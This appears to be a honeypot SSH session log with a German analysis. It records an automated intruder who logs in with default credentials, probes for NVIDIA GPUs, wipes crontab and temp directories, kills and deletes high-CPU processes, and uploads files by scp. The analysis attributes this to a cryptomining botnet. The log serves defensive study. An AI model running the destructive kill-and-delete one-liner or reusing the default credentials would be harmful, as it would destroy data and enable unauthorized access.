18.10.2026, 00:57 UTC · 69 Befehle · über ssh · Niederlande
user='guest' pass='weblogic' guest@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 guest@srv01:~$ uname -m | awk '{printf $1}' x86_64 guest@srv01:~$ uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2" "$3 }' 261 days, 00:00 guest@srv01:~$ lspci | egrep VGA && lspci | grep 3D 01:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.0 VGA compatible controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 01:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 02:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 03:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) 04:00.1 3D controller: NVIDIA Corporation GA102GL [RTX A5000] (rev a1) guest@srv01:~$ lscpu | egrep "Model name:" | cut -d ' ' -f 14- AMD EPYC 7443P 24-Core Processor guest@srv01:~$ curl ipinfo.io/org Cloudflare, Inc. guest@srv01:~$ lspci | egrep VGA | grep Radeon | wc -l | head -c 1 0 guest@srv01:~$ uname -n | awk '{printf $1}' cuda-worker guest@srv01:~$ uname -r | awk '{printf $1}' 5.15.0-88-generic guest@srv01:~$ crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; d… crontab: no crontab for Admin rm: cannot remove '/var/tmp/.': Permission denied rm: cannot remove '/var/tmp/..': Permission denied rm: cannot remove '/tmp/.': Permission denied rm: cannot remove '/tmp/..': Permission denied guest@srv01:~$ echo weblogic > /tmp/d.log guest@srv01:~$ scp -qt "/var/tmp/qmTtaJfj" guest@srv01:~$ scp -qt "/tmp/qmTtaJfj" guest@srv01:~$ scp -qt "/dev/shm/qmTtaJfj" guest@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 guest@srv01:~$ nvidia-smi -q | grep "Product Name" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1 4 guest@srv01:~$ nvidia-smi -q | grep "Product Name" Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 Product Name : NVIDIA RTX A5000 guest@srv01:~$ echo qwe123456 > /tmp/d.log guest@srv01:~$ scp -qt "/var/tmp/RxKsIHqp" guest@srv01:~$ scp -qt "/tmp/RxKsIHqp" guest@srv01:~$ scp -qt "/dev/shm/RxKsIHqp" guest@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 guest@srv01:~$ echo 1234 > /tmp/d.log guest@srv01:~$ scp -qt "/var/tmp/IechlZqn" guest@srv01:~$ scp -qt "/tmp/IechlZqn" guest@srv01:~$ scp -qt "/dev/shm/IechlZqn" guest@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 guest@srv01:~$ echo !Q@W3e4r > /tmp/d.log guest@srv01:~$ scp -qt "/var/tmp/PjAJUQaI" guest@srv01:~$ scp -qt "/tmp/PjAJUQaI" guest@srv01:~$ scp -qt "/dev/shm/PjAJUQaI" guest@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 guest@srv01:~$ echo qwerty > /tmp/d.log guest@srv01:~$ scp -qt "/var/tmp/rcbsnHCt" guest@srv01:~$ scp -qt "/tmp/rcbsnHCt" guest@srv01:~$ scp -qt "/dev/shm/rcbsnHCt" guest@srv01:~$ uname -s -v -n -r -m Linux 5.15.0-88-generic #98-Ubuntu SMP Wed Oct 2 14:47:57 UTC 2026 x86_64 guest@srv01:~$ echo Admin123 > /tmp/d.log guest@srv01:~$ scp -qt "/var/tmp/CJqEtxKv"
Der Angreifer meldete sich mit Standardzugangsdaten über SSH an und führte eine Reihe von Systemabfragen durch, um die Hardwarekonfiguration, insbesondere die Grafikkarten, zu identifizieren. Anschließend löschte er temporäre Dateien und beendete Prozesse mit hoher CPU- oder RAM-Auslastung, um Ressourcen freizumachen. Danach versuchte er mehrfach, Dateien über SCP in verschiedene temporäre Verzeichnisse zu kopieren, während er gleichzeitig neue Passwörter in Logdateien schrieb.
Die Befehle uname, lspci und nvidia-smi dienen der Erkennung von Betriebssystem, Kernel und spezifischer GPU-Hardware, um die Eignung für Mining zu prüfen. Der Befehl crontab -r löscht geplante Aufgaben, während rm -rf temporäre Dateien entfernt, um Spuren zu verwischen oder Platz zu schaffen. Die awk-Schleife identifiziert Prozesse mit hoher Auslastung und beendet diese gewaltsam, um die GPU-Auslastung für den Miner zu maximieren. Die scp-Befehle mit dem Flag -qt kopieren Dateien im Batch-Modus in temporäre Speicherorte wie /tmp oder /dev/shm, was typisch für die Verteilung von Malware ist. Das Schreiben von Passwörtern in /tmp/d.log könnte zur Protokollierung der eigenen Zugangsdaten oder zur Vorbereitung weiterer Angriffe dienen.
Das Vorgehen deutet stark auf die Installation eines Kryptomining-Bots hin, da gezielt nach NVIDIA-Grafikkarten gesucht und rechenintensive Prozesse beendet wurden. Die wiederholten SCP-Übertragungen in versteckte Verzeichnisse dienen vermutlich dem Download und der Persistierung der Mining-Software. Ein Datenabfluss ist weniger wahrscheinlich, da keine sensiblen Dateien exfiltriert, sondern nur Systeminformationen abgefragt wurden.
Dieses Muster ist sehr verbreitet und entspricht automatisierten Skripten, die von Botnetzen wie Kinsing oder ähnlichen Mining-Familien verwendet werden. Die Kombination aus GPU-Erkennung und Prozess-Kill ist ein klassisches Indiz für automatisierte Kryptomining-Angriffe auf ungesicherte Server.